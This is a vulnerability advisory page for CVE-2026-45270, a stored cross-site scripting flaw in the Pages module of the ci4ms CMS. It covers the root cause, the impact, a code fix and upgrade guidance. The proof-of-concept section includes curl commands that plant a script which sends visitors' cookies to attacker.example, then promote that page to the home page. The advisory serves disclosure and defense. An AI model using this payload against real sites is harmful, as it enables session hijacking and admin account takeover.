Loading...
Skip to main content

CVE-2026-45270 — CI4MS: Stored XSS in ci4-cms-erp/ci4ms — CVE Details

HIGH

CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule

Published May 18, 2026Updated May 18, 2026Source: osv

Summary

## Summary The `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo->content` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site. ## Details This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The `html_purify` custom rule (`modules/Backend/Validation/CustomRules.php:54`) mutates its first argument by reference: ```php public function html_purify(?string &$str = null, ?string &$error = null): bool { ... $clean = self::sanitizeHtml($str); $str = $clean; self::$cleanCache[md5((string)$str)] = $clean; return true; } ``` CodeIgniter 4's `Validation::processRules()` (`vendor/codeigniter4/framework/system/Validation/Validation.php:344`) invokes the rule as `$set->{$rule}($value, $error)` where `$value` is a local copy populated from request data. Even though the rule signature accepts `$str` by reference, the mutation only updates the local `$value` inside `processRules()`; the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call `CustomRules::getClean(...)` after validation — but no controller in the codebase does so. Pages controller — `modules/Pages/Controllers/Pages.php`: - `Pages::create()` registers the rule at line 82: ```php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], ``` Then at lines 102–113 it reads the raw POST and inserts it untouched: ```php $langsData = $this->request->getPost('lang') ?? []; ... $this->commonModel->create('pages_langs', [ ... 'content' => $lData['content'], // line 111 — RAW ... ]); ``` - `Pages::update()` mirrors the same pattern at lines 130 and 157: ```php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], // line 130 ... 'content' => $lData['content'], // line 157 — RAW ``` The row lands in `pages_langs.content`, which is then read by the public-facing `Home::index()` controller (`app/Controllers/Home.php:31-76`) and emitted by the template at `app/Views/templates/default/pages.php:32`: ```php <div id="ci4ms-content"> <?php echo $pageInfo->content ?> // no esc(), raw HTML output </div> ``` `CommonLibrary::parseInTextFunctions()` (`app/Libraries/CommonLibrary.php:45`) is called on `$pageInfo->content` first, but only handles `{{form=...}}` / `{...|...}` shortcode-style replacement — it does no HTML sanitization. This is distinct from the Blog finding: - Different module/controller (`Modules\Pages\Controllers\Pages` vs `Modules\Blog\Controllers\Blog`) - Different table (`pages_langs.content` vs `blog_langs.content`) - Different view file (`templates/{theme}/pages.php` vs `templates/{theme}/blog/post.php`) - Different route (`/<seflink>` matched by `Home::index` vs `/blog/<seflink>`) - Pages can be promoted to the site home page via `Pages::setHomePage` (`modules/Pages/Controllers/Pages.php:206`), broadening blast radius beyond a single slug to every visitor of `/`. Routes are confirmed protected by `backendGuard` for authentication (`modules/Pages/Config/PagesConfig.php:12-17`) and require `pages.create` / `pages.update` Shield permissions (`modules/Pages/Config/Routes.php:4-5`). ## PoC Prerequisite: an account with the `pages.create` (or `pages.update`) permission. In ci4ms this is a non-admin content-author role. Step 1 — log in to backend, capture cookies: ```bash curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \ -d 'email=author@example.com' -d 'password=AuthorPass1!' ``` Step 2 — create a page with a malicious `content` payload: ```bash curl -k -b cookies.txt -X POST https://target/backend/pages/create \ -d 'lang[en][title]=POC' \ -d 'lang[en][seflink]=poc-page-xss' \ -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \ -d 'isActive=1' ``` Expected: redirect to `/backend/pages/1` with `lang('Backend.created')` flashdata. The DB row `pages_langs.content` contains the literal `<script>...</script>` payload. Step 3 — trigger the XSS by visiting the public URL: ``` https://target/poc-page-xss ``` `Home::index()` selects the row, `pages.php:32` emits the raw `<script>` tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to `attacker.example`, enabling full account takeover. Step 4 — broaden blast radius (optional, requires `pages.update`): ```bash curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \ -H 'X-Requested-With: XMLHttpRequest' ``` After this, the malicious page is served at `/` to every visitor, including unauthenticated visitors and admins navigating to the front-end. ## Impact - **Stored XSS in public-facing site:** any visitor to a malicious page slug — or to `/` if the page is set as home — executes the attacker's JavaScript. - **Admin account takeover:** an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire `/backend/*` surface (full CMS administration, user management, file editor, backups, theme upload). - **Privilege escalation:** the attacker only needs `pages.create` (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for **S:C** in the CVSS vector. - **Persistence and broad reach:** the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by. ## Recommended Fix Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing `sanitizeHtml` / `getClean` helper explicitly when persisting the content. In `modules/Pages/Controllers/Pages.php`: ```php use Modules\Backend\Validation\CustomRules; // Pages::create() — replace line 111 $this->commonModel->create('pages_langs', [ 'pages_id' => $insertID, 'lang' => $langCode, 'title' => strip_tags(trim($lData['title'])), 'seflink' => strip_tags(trim($lData['seflink'])), 'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')), 'seo' => $seoData ]); // Pages::update() — replace line 157 $langUpdate = [ 'title' => strip_tags(trim($lData['title'])), 'seflink' => strip_tags(trim($lData['seflink'])), 'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')), 'seo' => $seoData ]; ``` Apply the same pattern in every other module that uses `html_purify` (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the `html_purify` rule to operate on `$data` so the validator stores the sanitized result via `getValidated()` rather than relying on a reference mutation that the framework discards.

Advisory Timeline

  • First published May 18, 2026 (147 days ago).
  • Last revised May 18, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update ci4-cms-erp/ci4ms to 0.31.9.0 or later
composer require "ci4-cms-erp/ci4ms:^0.31.9.0"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
ci4-cms-erp/ci4ms
packagist
0.21.0, 0.21.1, 0.21.2, 0.21.3 (+53 more)0.31.9.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-79
    Cross-site Scripting (XSS)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.7 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-45270?
CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.7/10).
How do I check if my project is affected by CVE-2026-45270?
CVE-2026-45270 affects ci4-cms-erp/ci4ms. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-45270 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.7

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-gqr2-7hcg-rchf

Related CVEs

  • CVE-2026-34559
    CRITICAL

    CI4MS: Blogs Tags Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

  • CVE-2026-34566
    CRITICAL

    CI4MS: Pages Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

  • CVE-2026-35035
    CRITICAL

    CI4MS: Company Information Public-Facing Page Full Platform Compromise & Full Account Takeover for All Roles & Privilege-Escalation via System Settings Company Information Stored DOM XSS

  • CVE-2026-27599
    CRITICAL

    ci4-cms-erp/ci4ms: System Settings (Mail Settings) Full Platform Compromise & Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

  • CVE-2026-34563
    CRITICAL

    CI4MS: Backup Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM Blind XSS

  • CVE-2026-34571
    CRITICAL

    CI4MS: Stored Cross‑Site Scripting (Stored XSS) in Backend User Management Allows Session Hijacking and Full Administrative Account Compromise

  • CVE-2026-34570
    HIGH

    CI4MS: Account Deletion Module Grants Full Persistent Unauthorized Access for All‑Roles via Improper Session Invalidation (Logic Flaw)

  • CVE-2026-34572
    HIGH

    CI4MS: Account Deactivation Module Grants Full Persistent Unauthorized Access for All‑Roles via Improper Session Invalidation (Logic Flaw)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies